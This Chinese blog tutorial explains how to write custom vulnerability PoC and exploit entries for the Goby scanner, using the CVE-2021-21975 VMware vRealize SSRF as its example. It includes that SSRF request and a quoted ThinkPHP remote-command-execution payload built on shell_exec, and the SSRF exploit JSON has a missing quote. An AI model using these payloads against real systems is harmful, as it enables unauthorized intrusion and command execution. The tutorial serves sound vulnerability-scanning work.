goby编写自定义poc

前言

goby是一款攻击面分析工具,同时拥有资产扫描、资产识别和漏洞扫描能力,安装简单,直接解压即可使用,界面也非常友好,内置了大量由官方和其他网络安全从业者提供的poc。

官网: https://gobies.org/

帮助goby提交poc积攒到一定数量可以获取功能更强大的hvv红队专版,本文以CVE-2021-21975 VMware vRealize Operations Manager SSRF为例记录一下goby-poc的编写过程。

准备工作

1.去poc群获取最新版本goby

2.在已有poc列表中确认自己要写的poc和别人没有重复

编写流程

poc

打开最新版goby,点击Vulnerability页面中的PoC Management

点击右上角的+POC新增POC

本界面主要要填写漏洞的基本信息以及检测条件。

基本信息包括漏洞名称、威胁等级、漏洞类型、描述、影响、作者、产品地址等,一般我们写漏洞预警或者提交其他漏洞的时候都对这些很熟悉了,就不在赘述了,根据官方文档中的规范来填写即可。

比较需要注意的一点是检测条件,它代表着goby识别到某种资产,才会使用此poc进行验证,所以要根据右边问号的提示尽量的精确识别出资产,才能保证poc在使用的时候确实被触发。

填写完之后点击test选项卡,填写漏洞探测相关的参数,如果有多个请求可以点击加号新增,可以根据实际情况选择and和or条件

在每一个请求中,Request中需要填写请求类型、url路径、header、以及Post Data。

根据漏洞本身探测的报文,按照下图格式填写就行

如VMware vRealize Operations Manager SSRF的探测

需要往/casa/nodes/thumbprints路径post一条json数据,json数据中使用其本机443端口的ui页面作为探测目标,即填写[“127.0.0.1:443/ui”]

Response中需要填写判断漏洞存在的条件,如http响应状态、http头、Body中包含的关键文本等都可以作为判断依据。

在本例中需要同时满足http响应状态为200,且响应body中包含vRealize Operations Manager关键字,则如下填写

随后就可以保存并使用右上角的单ip探测功能尝试自己的poc是否有效(目前不支持https,如果遇到https的情况,可以将其先保存,然后在PoC Management界面导入此poc,然后直接扫描存在此漏洞的站点对poc进行测试)

此时poc的部分完成了,可以在PoC Management
中import进来,然后测试一下是否可以检测出漏洞

exp

goby还有Verify功能,我们需要增加exp部分才可以在扫描到漏洞之后直接用goby验证,但是这部分没法在gui编写,所以需要了解以下格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
"HasExp": true				// 是否录入 Exp,如有 Exp,Goby 在扫描到漏洞后会展现出 verify 按钮用以执行 Exp 验证漏洞
"ExpParams": [ // 前端需要传递给 Exp 的参数,如要执行的命令
{
"name": "cmd", // 参数的名称
"type": "input", // 参数输入类型,input 表示需要用户输入,select 表示 Exp 可以提供默认列表让用户进行选择输入内容
"value": "whoami" // 参数的值
}
]
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]={{{cmd}}}", // 通过 {{{参数名称}}} 引用前端传递过来的值
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"SetVariable": ["output|lastbody"] // 将响应的 HTTP Body 打印出来,展示命令执行效果
}
]

在本例ssrf中,我们需要修改post数据中的ip:port/url部分,所以做如下更改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 "HasExp": true,
"ExpParams": [
{
"name": "url",
"type": "input",
"value": "127.0.0.1:443/ui"
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/casa/nodes/thumbprints,
"follow_redirect": true,
"header": {
"Content-Type": "application/json;charset=UTF-8"
},
"data_type": "text",
"data": "[\"{{{url}}}\"]"
},
"SetVariable": ["output|lastbody"]
}
],

我们可以将Editor选项卡中对应的项替换修改,也可以打开goby解压目录的golib\exploits\user寻找刚才保存的文件进行修改,保存之后就可以使用了

使用对方本地测试

使用dnslog测试

参考资料

goby官方的poc教程
https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!